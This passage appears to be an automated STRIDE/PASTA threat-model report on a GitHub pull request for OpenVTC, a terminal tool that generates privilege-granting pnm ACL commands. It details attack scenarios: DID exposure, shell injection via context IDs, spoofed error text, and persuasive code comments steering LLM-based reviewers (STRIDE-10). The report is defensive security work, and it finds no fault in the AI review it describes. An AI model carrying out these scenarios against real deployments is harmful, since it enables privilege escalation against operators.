format!("pnm contexts create --id {display_ctx} --name \"OpenVTC\" \\\n  --admin-did {setup_did} --admin-expires 1h --admin-holder")

Attack Scenario:

  1. The setup flow renders the --admin-holder command via build_pnm_command with no local logging of when/why the hint or command was displayed.
  2. An operator runs the copy-pasted command out-of-band in a separate pnm CLI session that is also not correlated back to OpenVTC's session.
  3. Weeks later, an incident review finds the setup_did was granted persona-holder capability and needs to determine whether this was operator error, a deliberate malicious act, or a tool-driven default.
  4. Because OpenVTC keeps no record (log entry, telemetry event, or persisted state) of displaying the HOLDER_GRANT_HINT or the --admin-holder command, investigators cannot attribute the decision, and the operator can plausibly deny intentionally requesting broad authority.
  5. This ambiguity delays incident response and complicates any compliance audit trail requiring proof of least-privilege justification for the grant.

🔎 Threat Clue: Derived from COMP-002, COMP-003 via EP-002, EP-003

  • Data Flows: Setup UI -> generated command display -> operator action (unlogged)

Preconditions: No local audit logging exists in the TUI application for displayed commands/hints, Incident investigators rely solely on pnm agent-side ACL logs, which do not capture OpenVTC's role in prompting the action

Existing Controls: pnm agent presumably logs the ACL grant itself (external, out of scope) • None within this codebase

Recommended Mitigations: Add local structured logging when the --admin-holder command or HOLDER_GRANT_HINT is displayed to an operator • Include a session/request correlation ID in log entries to link UI guidance to subsequent agent-side ACL changes • Persist a local audit record of setup actions taken through the wizard


🟡 STRIDE-5: Setup DID and Ephemeral Key Disclosure via Terminal/Clipboard Exposure of Displayed pnm Command

Field Detail
Category Information Disclosure
Severity Medium
Likelihood Possible
CVSS 5.9 CVSS:4.0/AV:P/AC:L/AT:N/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N
Residual Severity Low
CWE CWE-200,CWE-311
CAPEC CAPEC-651,CAPEC-37
OWASP A02:2021 - Cryptographic Failures

Description: The setup flow's rendering of build_pnm_command output in COMP-003 allows sensitive DID disclosure due to the setup_did being embedded in plaintext within a command displayed on-screen and intended for copy-paste, resulting in shoulder-surfing, terminal-scrollback, screen-recording, or clipboard-manager exposure of a credential identifier that now carries expanded (persona-holder) authority.

Evidence: openvtc/src/ui/pages/setup_flow/vta_acl_instructions.rs:247-261

"--admin-did {setup_did} --admin-expires 1h --admin-holder"

Attack Scenario:

  1. The setup wizard renders the full pnm command including --admin-did {setup_did} and the newly added --admin-holder flag directly onto the TUI screen via render_input/build_pnm_command.
  2. An attacker with physical or remote visual access to the operator's screen (shoulder-surfing, screen-share, malicious screen-recording software, or terminal multiplexer scrollback shared to another user) captures the setup_did value.
  3. Because this PR adds --admin-holder to the same command, the exposed DID is now associated with a materially higher-value target than before the change (cross-context persona-holder authority rather than single-context admin).
  4. The attacker uses the captured DID in combination with any separately-leaked private key material or a social-engineering pretext ('I need to help you finish setup') to attempt to impersonate or manipulate ACL state for that DID.
  5. Because the capability is now broader, successful compromise of this identifier yields disproportionately higher impact than under the pre-PR behavior.

🔎 Threat Clue: Derived from COMP-003 via EP-003

  • Data Flows: setup_key.did -> build_pnm_command -> TUI screen render

Preconditions: Attacker has visual/log access to the terminal displaying the setup command, setup_did and/or its key material can be leveraged for further action

Existing Controls: --admin-expires 1h limits context-scoped admin entry lifetime (unclear if this also bounds persona-holder duration) • EphemeralSetupKey naming suggests short-lived key design

Recommended Mitigations: Avoid displaying full DID in plaintext where avoidable; consider truncation with full value available on demand • Warn operators that this command now confers cross-context authority and should be handled with the same care as a credential • Ensure clipboard buffers are cleared after use and recommend against screen-sharing during setup


🔵 STRIDE-6: Operator Social Engineering via HOLDER_GRANT_HINT Trust Assumption

Field Detail
Category Spoofing, Elevation of Privilege
Severity Low
Likelihood Possible
CVSS 3.5 CVSS:4.0/AV:L/AC:L/AT:P/PR:N/UI:P/VC:N/VI:L/VA:N/SC:N/SI:N/SA:N
Residual Severity Low
CWE CWE-494,CWE-829
CAPEC CAPEC-98,CAPEC-438
OWASP A08:2021 - Software and Data Integrity Failures

Description: The HOLDER_GRANT_HINT constant displayed by push_agent_state in COMP-001 allows a trust-transference attack due to the UI presenting a hardcoded remediation command as authoritative without independent verification of the actual authorization context, resulting in operators executing a broad-capability grant based solely on client-side heuristic guidance rather than a server-verified need.

Evidence: openvtc/src/ui/pages/main/components/personas_panel.rs:684-692

const HOLDER_GRANT_HINT: &[&str] = &[ ... "   pnm acl update --did <this install's DID> --capabilities persona-holder", ... ];

Attack Scenario:

  1. An attacker compromises or replaces the OpenVTC binary/build artifact (supply-chain attack) with a version where HOLDER_GRANT_HINT or needs_holder_grant is modified to trigger more often or point to a different --did value.
  2. A legitimate operator, encountering any load_error on the Attributes/Profiles/Disclosures tab, sees the (tampered) hint and, trusting the tool's authority on the matter, runs the suggested 'pnm acl update' command.
  3. Because the operator has been conditioned (by this PR's own design intent, per code comments 'the operator needs the command') to trust and directly execute UI-suggested commands without independent verification, a maliciously modified hint could redirect the --did value or add extra capabilities without the operator noticing subtle changes.
  4. The operator grants persona-holder (or broader) capability to an attacker-controlled DID, believing they are remediating their own install.
  5. The attacker now holds cross-context authority over the holder's identity data.

🔎 Threat Clue: Derived from COMP-001, COMP-003 via EP-001, EP-004

  • Data Flows: Compiled binary -> TUI hint rendering -> operator shell execution

Preconditions: Attacker can tamper with the OpenVTC binary, build pipeline, or distribution channel, Operator follows on-screen guidance without independently cross-checking the DID value against 'openvtc health' output as the comment suggests

Existing Controls: Comment instructs operators to cross-check via 'openvtc health' command • Hint text is a compile-time constant, not dynamically fetched from a remote/untrusted source at runtime

Recommended Mitigations: Sign and verify OpenVTC release binaries (supply-chain integrity) • Dynamically fetch/display the install DID directly from a verified local source and cross-check against the hint at render time, alerting if mismatched • Add a confirmation step requiring the operator to explicitly acknowledge the capability being granted before treating the hint as actionable


🔵 STRIDE-7: Race Condition Between Error State Read and Render in push_agent_state

Field Detail
Category Tampering
Severity Low
Likelihood Unlikely
CVSS 2.5 CVSS:4.0/AV:L/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:N/SC:N/SI:N/SA:N
Residual Severity None
CWE CWE-362
CAPEC CAPEC-25
OWASP A04:2021 - Insecure Design

Description: push_agent_state in personas_panel.rs (COMP-001) allows a stale-state rendering issue due to load_error being read and matched against needs_holder_grant without synchronization guarantees against concurrent state updates, resulting in the operator potentially seeing a hint that no longer corresponds to the current agent error state (e.g., a resolved error still showing the escalation hint on a stale re-render).

Evidence: openvtc/src/ui/pages/main/components/personas_panel.rs:652-665

if needs_holder_grant(error) { for line in HOLDER_GRANT_HINT { lines.push(...) } }

Attack Scenario:

  1. The PersonasState.load_error field is updated by an async agent-response handler while the render loop concurrently calls push_agent_state.
  2. If the UI re-render is triggered on a stale snapshot of state (depending on the surrounding event loop's synchronization, not shown in this diff), needs_holder_grant(error) could evaluate an error string that has since been superseded by a newer, unrelated error or a success state.
  3. The operator sees the persona-holder grant hint displayed alongside outdated or mismatched context, prompting an unnecessary or premature capability escalation.
  4. Absent explicit atomic state transitions, this creates a race window where UI guidance and actual agent state diverge, and the operator may act on outdated advice.

🔎 Threat Clue: Derived from COMP-001 via EP-001

  • Data Flows: PersonasState.load_error -> push_agent_state -> render

Preconditions: Underlying state management does not guarantee atomic read of load_error relative to concurrent updates, Rendering occurs on a background thread or async task racing with state mutation

Existing Controls: Rust's ownership/borrowing model at compile time likely prevents unsynchronized concurrent mutable access at the type level (mitigating factor, not fully verifiable from this diff alone)

Recommended Mitigations: Ensure load_error and derived hint decisions are computed from a single atomic state snapshot per render pass • Add integration tests simulating concurrent state transitions during render


🟡 STRIDE-8: Missing Capability Expiry Guidance for persona-holder Grant Enables Long-Lived Elevated Credential

Field Detail
Category Elevation of Privilege, Denial of Service
Severity Medium
Likelihood Likely
CVSS 5.1 CVSS:4.0/AV:L/AC:L/AT:N/PR:H/UI:N/VC:H/VI:L/VA:N/SC:N/SI:N/SA:N
Residual Severity Medium
CWE CWE-613,CWE-672
CAPEC CAPEC-21
OWASP A01:2021 - Broken Access Control

Description: The generated pnm command and HOLDER_GRANT_HINT in COMP-002/COMP-003 allow indefinite privilege retention due to specifying --admin-expires 1h only for the context-scoped admin entry while providing no expiry/TTL guidance for the persona-holder capability, resulting in the potentially more sensitive cross-context capability persisting indefinitely with no built-in rotation or revocation reminder.

Evidence: openvtc/src/ui/pages/setup_flow/vta_acl_instructions.rs:258-261

"--admin-did {setup_did} --admin-expires 1h --admin-holder"

Attack Scenario:

  1. The operator runs the generated 'pnm contexts create ... --admin-expires 1h --admin-holder' command; the 1h expiry likely applies only to the context-scoped admin entry, not the persona-holder capability grant itself, per the pnm ACL model referenced in code comments.
  2. Because no expiry is set for persona-holder, the capability remains valid indefinitely (subject to external pnm defaults not visible in this repo).
  3. If the setup_did's key material is later compromised (e.g., stored insecurely on disk, or leaked via STRIDE-5's exposure vector), the attacker retains persistent cross-context holder authority long after the original 1-hour admin window has lapsed.
  4. Neither the CHANGELOG, HOLDER_GRANT_HINT, nor build_pnm_command surfaces any reminder to periodically rotate or revoke the persona-holder grant, so operators have no prompt to limit long-term exposure.
  5. This creates a persistent elevated-privilege identity that could be leveraged well beyond the intended one-time setup window, and revoking it requires operator awareness that is not reinforced by the tool.

🔎 Threat Clue: Derived from COMP-003 via EP-003

  • Data Flows: Setup command execution -> pnm ACL store (long-lived grant)

Preconditions: pnm's ACL model does not automatically expire persona-holder capability independent of the context-admin entry, Operator has no external reminder/process to rotate or revoke the grant

Existing Controls: --admin-expires 1h exists for the context-scoped admin portion (partial mitigation, scope unclear)

Recommended Mitigations: Extend --admin-expires (or an equivalent flag) to also bound the persona-holder capability lifetime, if supported by pnm • Add explicit guidance in the hint text and CHANGELOG about rotating/revoking the persona-holder grant • Provide a follow-up reminder mechanism (e.g., periodic health-check warning) if the grant has existed beyond a recommended duration


🔵 STRIDE-9: False-Negative Suppression of Security-Relevant Hint via Overly-Narrow Phrase Match

Field Detail
Category Denial of Service, Information Disclosure
Severity Low
Likelihood Possible
CVSS 2.8 CVSS:4.0/AV:L/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:N/SC:N/SI:N/SA:N
Residual Severity Low
CWE CWE-1069,CWE-693
CAPEC CAPEC-664
OWASP A04:2021 - Insecure Design

Description: needs_holder_grant in personas_panel.rs (COMP-001) allows silent failure-to-warn due to matching only the exact phrases 'holder credential' and 'persona-holder', resulting in future or alternate agent error message wording (e.g., localized strings, refactored error text, or a differently-worded VTA release) causing the operator to receive no remediation hint despite having the same underlying authorization gap.

Evidence: openvtc/src/ui/pages/main/components/personas_panel.rs:700-709

e.contains("holder credential") || e.contains("persona-holder")

Attack Scenario:

  1. A future version of the VTA agent (or a differently configured/localized agent) changes its authorization-refusal error wording to something semantically equivalent but lexically different, e.g. 'insufficient identity scope' instead of 'holder credential'.
  2. needs_holder_grant's strict substring match fails to detect this new phrasing since it only checks for 'holder credential' or 'persona-holder'.
  3. The operator repeatedly encounters the Attributes/Profiles/Disclosures load failure with no HOLDER_GRANT_HINT displayed, leaving them without guidance on the fix.
  4. The operator may escalate support tickets, misdiagnose the issue as a bug, or attempt unrelated and potentially more permissive remediation steps (e.g., granting broader admin than necessary) out of frustration, indirectly increasing exposure.
  5. This represents an availability/usability regression that could indirectly drive risky operator behavior, and is a maintenance/coupling risk since the UI's correctness is silently coupled to exact upstream agent wording with no contract or versioned error-code alternative.

🔎 Threat Clue: Derived from COMP-001 via EP-001

  • Data Flows: VTA agent error text -> needs_holder_grant -> hint suppression

Preconditions: Upstream VTA agent error message wording changes without a corresponding OpenVTC code update, No structured error code fallback exists

Existing Controls: Comment explicitly acknowledges both current and pre-capability VTA wording are handled • Design tradeoff documented: false negative preferred over false positive

Recommended Mitigations: Coordinate a structured/versioned error code contract with the VTA agent team rather than relying on free-text matching • Add a fallback generic hint for any 'access denied'-style error suggesting the operator check capability grants, distinct from the specific persona-holder hint • Add integration/contract tests against the actual VTA agent's current error strings, not just hardcoded fixtures


⚪ STRIDE-10: Prompt-Injection-Style Embedded Instructions in Source Comments and CHANGELOG as Supply-Chain/Review-Evasion Vector

Field Detail
Category Tampering, Elevation of Privilege
Severity Informational
Likelihood Unlikely
CVSS 1.0 CVSS:4.0/AV:L/AC:H/AT:P/PR:N/UI:P/VC:N/VI:N/VA:N/SC:N/SI:N/SA:N
Residual Severity None
CWE CWE-1104
CAPEC CAPEC-148
OWASP A04:2021 - Insecure Design

Description: Source code comments and CHANGELOG entries in this PR allow a narrative-manipulation review-evasion pattern due to extensive natural-language justification text embedded directly adjacent to the privilege-widening code change, resulting in a risk that human or automated reviewers (including AI-assisted code review tools) could be primed to accept the --admin-holder scope expansion as self-evidently correct without independent security scrutiny.

Evidence: openvtc/src/ui/pages/setup_flow/vta_acl_instructions.rs:249-259

// It is not a way around that boundary; it is the grant the boundary was
// always waiting for. ...

Attack Scenario:

  1. The PR author (or a malicious contributor mimicking this style in a future PR) embeds a lengthy, persuasive, first-person-style rationale directly in code comments immediately preceding a privilege-scope-widening line (e.g., 'It is not a way around that boundary; it is the grant the boundary was always waiting for.').
  2. A human reviewer, or an LLM-based automated code-review/security-scanning tool, processes the diff and is influenced by the persuasive framing to treat the --admin-holder addition as benign/intended rather than flagging it as a privilege escalation requiring deeper scrutiny.
  3. In a future malicious variant of this pattern, an attacker submitting a PR could embed similarly confident, well-reasoned-sounding comments to justify an actually unwarranted scope expansion, exploiting reviewer trust in eloquent surrounding prose.
  4. If review processes rely partly on automated/LLM-assisted triage that treats in-diff commentary as authoritative context rather than untrusted claims, the persuasive text could suppress appropriate findings.
  5. This is not an exploitable code vulnerability in this specific PR (the rationale given appears accurate per the linked issue), but it demonstrates a review-process weakness pattern worth flagging: security-relevant scope changes should be evaluated independently of accompanying narrative justification.

🔎 Threat Clue: Derived from COMP-002, COMP-003 via EP-002, EP-003

  • Data Flows: PR diff/comments -> code review process

Preconditions: Review process (human or automated) gives undue weight to in-code narrative justification for security-relevant changes, No independent policy-based gate requiring explicit security sign-off for capability-scope-widening changes regardless of comment quality

Existing Controls: This analysis treats all in-diff text strictly as data per security directive, and independently evaluated the --admin-holder change on its technical merits • Linked issue reference (verifiable-trust-infrastructure#1286) provides external traceability

Recommended Mitigations: Establish a policy requiring explicit, separate security review sign-off for any change that adds admin/holder/elevated-capability flags, independent of accompanying prose • Train reviewers and configure automated tools to flag privilege-scope changes for mandatory escalation regardless of surrounding justification quality • Require linked-issue verification (e.g., confirm #1286 actually authorizes this specific scope) as a structured checklist item rather than relying on narrative alone



🍝 PASTA Threat Model

Application Purpose

OpenVTC is a terminal UI client for a Verifiable Trust Agent (VTA), enabling operators to set up trust contexts and manage holder identity (personas, attributes, profiles, disclosures) by generating and displaying pnm CLI commands that provision ACL grants on an external agent.

Inherent Risks

  • The application generates privileged CLI commands that operators execute out-of-band, creating a trust gap between what the UI displays and what is actually executed.
  • Actual authorization enforcement lives entirely in the external pnm/VTA agent, outside this codebase's control or visibility.
  • The TUI has no mechanism to verify that displayed commands were executed as intended or to audit resulting privilege changes.

Objectives

Risk: Limit blast radius of any single compromised setup DID or install credential; Avoid unconditional grants of cross-context authority
Business: Simplify onboarding of OpenVTC installs by auto-generating correct ACL setup commands; Reduce support burden from cryptic agent authorization failures
Security: Apply least-privilege defaults when generating ACL grant commands; Prevent injection or tampering in generated commands; Maintain auditability of privilege-elevation guidance shown to operators
Financial: Avoid costly security incidents stemming from over-broad default privilege grants
Compliance: Support least-privilege and access-review requirements potentially mandated by identity/verifiable-credential governance frameworks
Functional: Generate a syntactically correct, pasteable pnm contexts create command with appropriate scope; Detect holder-authority-related failures and surface actionable remediation guidance
Operational: Ensure setup flow works reliably across VTA agent versions with differing error wording; Minimize operator support tickets related to authorization failures

Business Impact Analysis (2)

BIA-1: Operator-Driven Trust Context Setup and ACL Provisioning (High)

Operators run the OpenVTC setup wizard to generate and execute a pnm command that provisions a trust context and grants administrative/holder capabilities to a newly created setup identity.

MTD: 01 days 00:00 hours | RTO: 00 days 04:00 hours | RPO: 00 days 01:00 hours

  • Stakeholders: Compliance Auditors / End-User Holders / OpenVTC Maintainers / Operators / VTA Agent Administrators
  • Dependencies: EphemeralSetupKey Generation / OpenVTC TUI Setup Flow / pnm CLI / VTA Agent ACL Subsystem
  • Disruptions: Operator pastes a tampered or injected command into their shell / Operator grants unconditional persona-holder authority without understanding scope / Setup DID or key material is leaked, compromising cross-context identity authority
  • Impacts: Unauthorized cross-context access to holder identity, attribute pool, and profiles / Compliance violations under identity-governance frameworks requiring least-privilege access / Reputational damage if a breach traces back to an over-broad default grant / Operational cost of revoking and re-provisioning compromised grants

BIA-2: Personas Panel Error Remediation Guidance (Medium)

Operators encountering authorization failures on the Attributes/Profiles/Disclosures tabs rely on the personas panel's heuristic hint to determine the correct remediation command.

MTD: 03 days 00:00 hours | RTO: 01 days 00:00 hours | RPO: N/A

  • Stakeholders: End-User Holders / Operators / Support/Helpdesk Teams
  • Dependencies: needs_holder_grant Heuristic / VTA Agent Error Reporting / personas_panel Rendering
  • Disruptions: Heuristic misfires due to changed agent error wording, leaving operators without guidance / Spoofed or manipulated agent error text triggers unwarranted escalation hint
  • Impacts: Increased support ticket volume / Operator confusion leading to ad-hoc, potentially over-broad remediation actions / Delayed resolution of legitimate authorization gaps

Technical Scope

Roles (3): RO-1 Setup Operator · RO-2 Holder · RO-3 VTA Agent Administrator

Actors (3): AC-1 OpenVTC Operator · AC-2 VTA Agent Process · AC-3 pnm CLI Process

Entry Points (4): EP-001 Personas Panel Error Hint Render · EP-002 Build pnm Setup Command · EP-003 Operator-Executed pnm contexts create Command · EP-004 Operator-Executed pnm acl update Hint Command

Threat Actors (3): TA-1 Malicious Insider / Compromised Operator Session · TA-2 Supply-Chain Attacker · TA-3 Compromised/Malicious VTA Agent Operator

Infrastructure (1): IF-1 Operator Local Terminal Environment

Trust Boundaries (3): TB-1 OpenVTC TUI Process Boundary · TB-2 Operator Shell / Copy-Paste Boundary · TB-3 VTA Agent / pnm ACL Boundary

External Entities (2): EE-1 VTA Agent · EE-2 pnm CLI Tool

System Components (3): COMP-001 personas_panel (Attributes/Profiles/Disclosures rendering + hint heuristic) · COMP-002 vta_acl_instructions::build_pnm_command · COMP-003 External pnm CLI / VTA Agent ACL Subsystem

Resources And Assets (3): RA-1 Setup DID and Ephemeral Setup Key · RA-2 persona-holder Capability Grant · RA-3 Agent Error Text (load_error)

Technologies And Dependencies (2): TD-1 ratatui · TD-2 vta_sdk

Use Cases (2)

  • Operator Completes Initial Trust Context Setup: An operator runs the OpenVTC setup wizard, which generates a pnm contexts create command scoped to the new context and including the persona-holder capability, which the operator then executes against
  • Operator Remediates Identity Pane Authorization Failure: An operator viewing the Attributes, Profiles, or Disclosures tab encounters an authorization failure from the VTA agent; the personas panel recognizes the failure as holder-authority-related and displ

📋 Risk Registry (6)

ID Title Severity Residual Priority Effort
RISK-001 Default unconditional grant of cross-context persona-holder authority during setup expands attacker blast radius if the setup identity is compromised. High Medium Short-Term Medium
RISK-002 Lack of input sanitization on operator-typed context ID enables shell command injection when the generated command is pasted verbatim. Medium Low Immediate Low
RISK-003 Fragile substring-based heuristic for detecting holder-authority errors can be spoofed, suppressed, or become stale as upstream agent error wording evolves. Low Low Medium-Term Medium
RISK-004 No local audit trail correlates the OpenVTC-displayed privilege-elevation guidance with subsequent operator actions on the external agent. Medium Low Medium-Term Low
RISK-005 Plaintext display of the setup DID within a now higher-value (persona-holder-scoped) command increases the impact of shoulder-surfing or screen-capture exposure. Medium Low Short-Term Low
RISK-006 Reviewer and tooling trust in persuasive in-diff narrative justification could suppress appropriate scrutiny of future privilege-scope-widening changes. Low None Long-Term Low

⚔️ Attack Scenarios (3)

COMP-002: vta_acl_instructions::build_pnm_command

---
config:
  layout: dagre
  look: classic
  theme: dark
---
flowchart LR
  subgraph SL5["1. Threat Actors"]
    direction LR
    TA1@{ shape: rect, label: "TA-1: Malicious Insider / Compromised Operator Session<br><i>Gain unauthorized cross-context access</i>" }
    TA2@{ shape: rect, label: "TA-2: Supply-Chain Attacker<br><i>Tamper build to redirect grants</i>" }
  end
  subgraph SL4["2. Threats"]
    direction LR
    S1@{ shape: rect, label: "STRIDE-1: Unconditional Scope Widening<br><i>High / Likely</i>" }
    S2@{ shape: rect, label: "STRIDE-2: Command Injection via Unsanitized Context ID<br><i>Medium / Possible</i>" }
    S8@{ shape: rect, label: "STRIDE-8: Missing Capability Expiry Guidance<br><i>Medium / Likely</i>" }
  end
  subgraph SL3["3. Attack Patterns"]
    direction LR
    CAPEC122@{ shape: rect, label: "CAPEC-122: Privilege Abuse" }
    CAPEC88@{ shape: rect, label: "CAPEC-88: OS Command Injection" }
    CAPEC21@{ shape: rect, label: "CAPEC-21: Exploitation of Trusted Credentials" }
  end
  subgraph SL2["4. Weaknesses"]
    direction LR
    CWE269@{ shape: rect, label: "CWE-269: Improper Privilege Management" }
    CWE78@{ shape: rect, label: "CWE-78: OS Command Injection" }
    CWE613@{ shape: rect, label: "CWE-613: Insufficient Session/Grant Expiration" }
  end
  subgraph SL1["5. System Component"]
    direction LR
    SC1@{ shape: rect, label: "COMP-002: build_pnm_command" }
  end
  TA1 --> S1
  TA2 --> S2
  TA1 --> S8
  S1 --> CAPEC122
  S2 --> CAPEC88
  S8 --> CAPEC21
  CAPEC122 --> CWE269
  CAPEC88 --> CWE78
  CAPEC21 --> CWE613
  CWE269 --> SC1
  CWE78 --> SC1
  CWE613 --> SC1
  linkStyle 0 stroke:#FF0000, stroke-width:2px
  linkStyle 1 stroke:#FFA500, stroke-width:2px
  linkStyle 2 stroke:#FFA500, stroke-width:2px
  linkStyle 3 stroke:#FF0000, stroke-width:2px
  linkStyle 4 stroke:#FFA500, stroke-width:2px
  linkStyle 5 stroke:#FFA500, stroke-width:2px
  linkStyle 6 stroke:#FF0000, stroke-width:2px
  linkStyle 7 stroke:#FFA500, stroke-width:2px
  linkStyle 8 stroke:#FFA500, stroke-width:2px
  linkStyle 9 stroke:#FF0000, stroke-width:2px
  linkStyle 10 stroke:#FFA500, stroke-width:2px
  linkStyle 11 stroke:#FFA500, stroke-width:2px
Loading

COMP-001: personas_panel (needs_holder_grant / push_agent_state)

---
config:
  layout: dagre
  look: classic
  theme: dark
---
flowchart LR
  subgraph SL5["1. Threat Actors"]
    direction LR
    TA3@{ shape: rect, label: "TA-3: Compromised/Malicious VTA Agent Operator<br><i>Spoof agent error text</i>" }
    TA2@{ shape: rect, label: "TA-2: Supply-Chain Attacker<br><i>Tamper build to alter hints</i>" }
  end
  subgraph SL4["2. Threats"]
    direction LR
    S3@{ shape: rect, label: "STRIDE-3: Substring-Based Error Matching Spoofable<br><i>Low / Possible</i>" }
    S6@{ shape: rect, label: "STRIDE-6: Operator Social Engineering via Hint<br><i>Low / Possible</i>" }
    S9@{ shape: rect, label: "STRIDE-9: False-Negative Suppression of Hint<br><i>Low / Possible</i>" }
    S4@{ shape: rect, label: "STRIDE-4: No Audit Trail for Privilege-Elevation<br><i>Medium / Likely</i>" }
  end
  subgraph SL3["3. Attack Patterns"]
    direction LR
    CAPEC148@{ shape: rect, label: "CAPEC-148: Content Spoofing" }
    CAPEC438@{ shape: rect, label: "CAPEC-438: Modification During Manufacture" }
    CAPEC664@{ shape: rect, label: "CAPEC-664: Server Side Request Forgery-style Contract Drift" }
    CAPEC268@{ shape: rect, label: "CAPEC-268: Audit Log Manipulation" }
  end
  subgraph SL2["4. Weaknesses"]
    direction LR
    CWE697@{ shape: rect, label: "CWE-697: Incorrect Comparison" }
    CWE829@{ shape: rect, label: "CWE-829: Inclusion of Untrusted Functionality" }
    CWE1069@{ shape: rect, label: "CWE-1069: Empty/Missing Error Handling Contract" }
    CWE778@{ shape: rect, label: "CWE-778: Insufficient Logging" }
  end
  subgraph SL1["5. System Component"]
    direction LR
    SC2@{ shape: rect, label: "COMP-001: personas_panel" }
  end
  TA3 --> S3
  TA2 --> S6
  TA3 --> S9
  TA3 --> S4
  S3 --> CAPEC148
  S6 --> CAPEC438
  S9 --> CAPEC664
  S4 --> CAPEC268
  CAPEC148 --> CWE697
  CAPEC438 --> CWE829
  CAPEC664 --> CWE1069
  CAPEC268 --> CWE778
  CWE697 --> SC2
  CWE829 --> SC2
  CWE1069 --> SC2
  CWE778 --> SC2
  linkStyle 0 stroke:#00FF00, stroke-width:2px
  linkStyle 1 stroke:#00FF00, stroke-width:2px
  linkStyle 2 stroke:#00FF00, stroke-width:2px
  linkStyle 3 stroke:#FFA500, stroke-width:2px
  linkStyle 4 stroke:#00FF00, stroke-width:2px
  linkStyle 5 stroke:#00FF00, stroke-width:2px
  linkStyle 6 stroke:#00FF00, stroke-width:2px
  linkStyle 7 stroke:#FFA500, stroke-width:2px
  linkStyle 8 stroke:#00FF00, stroke-width:2px
  linkStyle 9 stroke:#00FF00, stroke-width:2px
  linkStyle 10 stroke:#00FF00, stroke-width:2px
  linkStyle 11 stroke:#FFA500, stroke-width:2px
  linkStyle 12 stroke:#00FF00, stroke-width:2px
  linkStyle 13 stroke:#00FF00, stroke-width:2px
  linkStyle 14 stroke:#00FF00, stroke-width:2px
  linkStyle 15 stroke:#FFA500, stroke-width:2px
Loading

COMP-003: External pnm CLI / VTA Agent ACL Subsystem

---
config:
  layout: dagre
  look: classic
  theme: dark
---
flowchart LR
  subgraph SL5["1. Threat Actors"]
    direction LR
    TA1@{ shape: rect, label: "TA-1: Malicious Insider / Compromised Operator Session<br><i>Gain unauthorized cross-context access</i>" }
  end
  subgraph SL4["2. Threats"]
    direction LR
    S5@{ shape: rect, label: "STRIDE-5: Setup DID and Key Disclosure<br><i>Medium / Possible</i>" }
  end
  subgraph SL3["3. Attack Patterns"]
    direction LR
    CAPEC651@{ shape: rect, label: "CAPEC-651: Eavesdropping" }
  end
  subgraph SL2["4. Weaknesses"]
    direction LR
    CWE200@{ shape: rect, label: "CWE-200: Exposure of Sensitive Information" }
  end
  subgraph SL1["5. System Component"]
    direction LR
    SC3@{ shape: rect, label: "COMP-003: pnm CLI / VTA Agent ACL Subsystem" }
  end
  TA1 --> S5
  S5 --> CAPEC651
  CAPEC651 --> CWE200
  CWE200 --> SC3
  linkStyle 0 stroke:#FFA500, stroke-width:2px
  linkStyle 1 stroke:#FFA500, stroke-width:2px
  linkStyle 2 stroke:#FFA500, stroke-width:2px
  linkStyle 3 stroke:#FFA500, stroke-width:2px
Loading

📊 Risk Summary

Total Threats: 10

By Severity: Low: 4 · High: 1 · Medium: 4 · Informational: 1

By Category: Tampering: 5 · Elevation of Privilege: 5 · Spoofing: 2 · Repudiation: 1 · Information Disclosure: 2 · Denial of Service: 2

🎯 Attack Surface

Kill Chain 1: An attacker who gains any visibility into the operator's terminal during setup (shoulder-surfing, screen-share, or a compromised terminal multiplexer) can capture the setup DID displayed by build_pnm_command (STRIDE-5); because this PR unconditionally appends --admin-holder (STRIDE-1), that captured DID is now bound to cross-context persona-holder authority rather than single-context admin, and because no expiry is documented for that capability (STRIDE-8), the exposure has an effectively unbounded window of usefulness to the attacker. Kill Chain 2: A malicious or compromised context-ID input (e.g., from a shared terminal or scripted setup) could inject shell metacharacters into the generated command (STRIDE-2); if an operator pastes the string without character-by-character review — the very workflow this PR's own tests assume is safe — the injected payload executes with the operator's privileges in the same step that provisions the elevated ACL grant, chaining a low-severity injection into full local compromise concurrent with a privilege-escalation event. Kill Chain 3: A compromised or MITM'd VTA agent can spoof error text containing the phrase 'holder credential' (STRIDE-3) to trigger the HOLDER_GRANT_HINT even when no genuine authorization gap exists, manipulating a trusting operator (STRIDE-6) into running 'pnm acl update --capabilities persona-holder' for a DID the attacker controls or has influenced, achieving elevation of privilege without ever touching OpenVTC's own code — a pure social-engineering chain enabled by weak error provenance and no structured error contract (STRIDE-9). Kill Chain 4: Because no local audit trail exists (STRIDE-4), any of the above three chains can proceed with minimal forensic trace inside OpenVTC itself; investigators would have to rely entirely on external pnm-side logs, and given the ambiguity of operator intent versus tool guidance, attribution and containment are both delayed, extending the effective dwell time of any resulting compromise.

🛡️ Risk Mitigation Strategy

Priority 1 (Immediate): Sanitize or allow-list the operator-typed context ID before interpolation into the generated pnm command to eliminate the shell-injection vector (RISK-002); this is a low-effort, high-value fix isolated to build_pnm_command and should ship before any further changes to this module. Priority 2 (Short-Term): Convert the --admin-holder flag from unconditional to an explicit, confirmed opt-in with clear on-screen scope explanation, and add an expiry mechanism for the persona-holder capability equivalent to the existing --admin-expires bound on context admin (RISK-001); additionally, reduce the plaintext exposure of the setup DID by truncating the on-screen display with a reveal-on-demand mechanism (RISK-005), since both changes directly shrink the blast radius of the highest-severity finding in this PR. Priority 3 (Medium-Term): Replace the free-text substring heuristic in needs_holder_grant with a structured, versioned error-code contract negotiated with the VTA agent team, closing both the spoofability and staleness gaps identified (RISK-003), and add local structured logging correlating displayed hints/commands with session context to close the audit-trail gap (RISK-004) — these require coordination with the external agent team and moderate engineering effort but meaningfully improve both integrity and non-repudiation. Priority 4 (Long-Term): Institute a standing code-review policy requiring independent, checklist-driven security sign-off for any change that widens ACL/capability scope, explicitly decoupled from the persuasiveness of accompanying code comments or changelog narrative (RISK-006); this addresses a process-level gap rather than a code defect and should be paired with reviewer/tooling guidance to treat in-diff commentary as context, not justification, for security-relevant changes.


Generated by Agentic Sec — Threat Model & Affect Analysis Agent

📊 Summary & findings
✅ Confirmed ⚠️ Must-Review-By-Human
1 2

Confirmed (1)

  • 🟡 Elevation of Privilege via broad --admin-holder grant on setup command (triaged HIGH→MEDIUM)

Must-Review-By-Human (2)

  • 🟡 Sensitive error messages containing credential/authorization details displayed in UI
  • 🟡 Naive substring matching on untrusted agent error text drives security-relevant UI hint (triaged LOW→MEDIUM)

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment

Labels

None yet

Projects

None yet

Development

Successfully merging this pull request may close these issues.

2 participants